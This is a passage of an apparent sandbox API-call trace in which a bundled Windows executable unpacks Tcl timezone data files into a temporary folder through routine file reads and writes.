(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guayaquil" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\guayaquil"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.871] GetFileType (hFile=0x10c) returned 0x1 [0038.871] htonl (hostlong=0xb6000000) returned 0xb6 [0038.871] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.871] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb6, lpOverlapped=0x0) returned 1 [0038.872] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.872] CloseHandle (hObject=0x10c) returned 1 [0038.873] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.873] htonl (hostlong=0x30000000) returned 0x30 [0038.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.873] GetFileType (hFile=0x10c) returned 0x1 [0038.873] htonl (hostlong=0x161d5900) returned 0x591d16 [0038.873] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dcd16, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.873] htonl (hostlong=0xa9000000) returned 0xa9 [0038.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa9) returned 0x55cfe0 [0038.873] htonl (hostlong=0xa9000000) returned 0xa9 [0038.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.873] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.873] htonl (hostlong=0xed000000) returned 0xed [0038.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xed) returned 0x550600 [0038.873] htonl (hostlong=0xa9000000) returned 0xa9 [0038.873] htonl (hostlong=0xed000000) returned 0xed [0038.873] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.873] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.873] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.874] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.874] CloseHandle (hObject=0x10c) returned 1 [0038.874] GetLastError () returned 0x0 [0038.874] SetLastError (dwErrCode=0x0) [0038.874] GetLastError () returned 0x0 [0038.874] SetLastError (dwErrCode=0x0) [0038.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.874] GetFileType (hFile=0x10c) returned 0x1 [0038.874] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.874] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.874] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.874] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.874] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.874] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.874] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.874] CloseHandle (hObject=0x10c) returned 1 [0038.874] GetLastError () returned 0x0 [0038.874] SetLastError (dwErrCode=0x0) [0038.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.875] GetFileType (hFile=0x10c) returned 0x1 [0038.875] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.875] CloseHandle (hObject=0x10c) returned 1 [0038.875] GetLastError () returned 0x0 [0038.875] SetLastError (dwErrCode=0x0) [0038.875] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.875] GetFileType (hFile=0x10c) returned 0x1 [0038.875] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.875] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.875] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.875] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.876] CloseHandle (hObject=0x10c) returned 1 [0038.876] GetLastError () returned 0x0 [0038.876] SetLastError (dwErrCode=0x0) [0038.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guyana") returned 71 [0038.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guyana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\guyana"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.876] GetLastError () returned 0x2 [0038.876] SetLastError (dwErrCode=0x2) [0038.880] GetLastError () returned 0x2 [0038.880] SetLastError (dwErrCode=0x2) [0038.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guyana", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guyana", lpFilePart=0x0) returned 0x46 [0038.880] GetLastError () returned 0x2 [0038.880] SetLastError (dwErrCode=0x2) [0038.880] GetLastError () returned 0x2 [0038.880] SetLastError (dwErrCode=0x2) [0038.880] GetLastError () returned 0x2 [0038.880] SetLastError (dwErrCode=0x2) [0038.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guyana") returned 71 [0038.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Guyana" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\guyana"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.881] GetFileType (hFile=0x10c) returned 0x1 [0038.881] htonl (hostlong=0xed000000) returned 0xed [0038.881] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.881] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xed, lpOverlapped=0x0) returned 1 [0038.882] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.882] CloseHandle (hObject=0x10c) returned 1 [0038.883] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.883] htonl (hostlong=0x30000000) returned 0x30 [0038.883] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.883] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.883] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.883] GetFileType (hFile=0x10c) returned 0x1 [0038.883] htonl (hostlong=0xbf1d5900) returned 0x591dbf [0038.883] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dcdbf, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.883] htonl (hostlong=0xd2070000) returned 0x7d2 [0038.883] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7d2) returned 0x55e278 [0038.883] htonl (hostlong=0xd2070000) returned 0x7d2 [0038.883] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.883] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.883] htonl (hostlong=0xb2a0000) returned 0x2a0b [0038.883] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2a0b) returned 0x561090 [0038.883] htonl (hostlong=0xd2070000) returned 0x7d2 [0038.883] htonl (hostlong=0xb2a0000) returned 0x2a0b [0038.883] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563aa8 [0038.883] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563aa8 | out: hHeap=0x530000) returned 1 [0038.884] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.884] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.884] CloseHandle (hObject=0x10c) returned 1 [0038.884] GetLastError () returned 0x0 [0038.884] SetLastError (dwErrCode=0x0) [0038.884] GetLastError () returned 0x0 [0038.884] SetLastError (dwErrCode=0x0) [0038.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.884] GetFileType (hFile=0x10c) returned 0x1 [0038.884] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.884] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.884] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.884] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.884] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.884] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.884] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.884] CloseHandle (hObject=0x10c) returned 1 [0038.884] GetLastError () returned 0x0 [0038.884] SetLastError (dwErrCode=0x0) [0038.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.885] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.885] GetFileType (hFile=0x10c) returned 0x1 [0038.885] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.885] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.885] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.885] CloseHandle (hObject=0x10c) returned 1 [0038.885] GetLastError () returned 0x0 [0038.885] SetLastError (dwErrCode=0x0) [0038.885] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.885] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.885] GetFileType (hFile=0x10c) returned 0x1 [0038.885] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.885] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.885] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.885] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.886] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.886] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.886] CloseHandle (hObject=0x10c) returned 1 [0038.886] GetLastError () returned 0x0 [0038.886] SetLastError (dwErrCode=0x0) [0038.886] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Halifax") returned 72 [0038.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Halifax" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\halifax"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.886] GetLastError () returned 0x2 [0038.886] SetLastError (dwErrCode=0x2) [0038.886] GetLastError () returned 0x2 [0038.886] SetLastError (dwErrCode=0x2) [0038.886] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Halifax", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Halifax", lpFilePart=0x0) returned 0x47 [0038.886] GetLastError () returned 0x2 [0038.886] SetLastError (dwErrCode=0x2) [0038.886] GetLastError () returned 0x2 [0038.886] SetLastError (dwErrCode=0x2) [0038.886] GetLastError () returned 0x2 [0038.886] SetLastError (dwErrCode=0x2) [0038.886] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Halifax") returned 72 [0038.886] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Halifax" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\halifax"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.886] GetFileType (hFile=0x10c) returned 0x1 [0038.887] htonl (hostlong=0xb2a0000) returned 0x2a0b [0038.887] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.888] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.888] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa0b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa0b, lpOverlapped=0x0) returned 1 [0038.888] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.888] CloseHandle (hObject=0x10c) returned 1 [0038.889] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.889] htonl (hostlong=0x30000000) returned 0x30 [0038.889] MultiByteToWideChar (in: 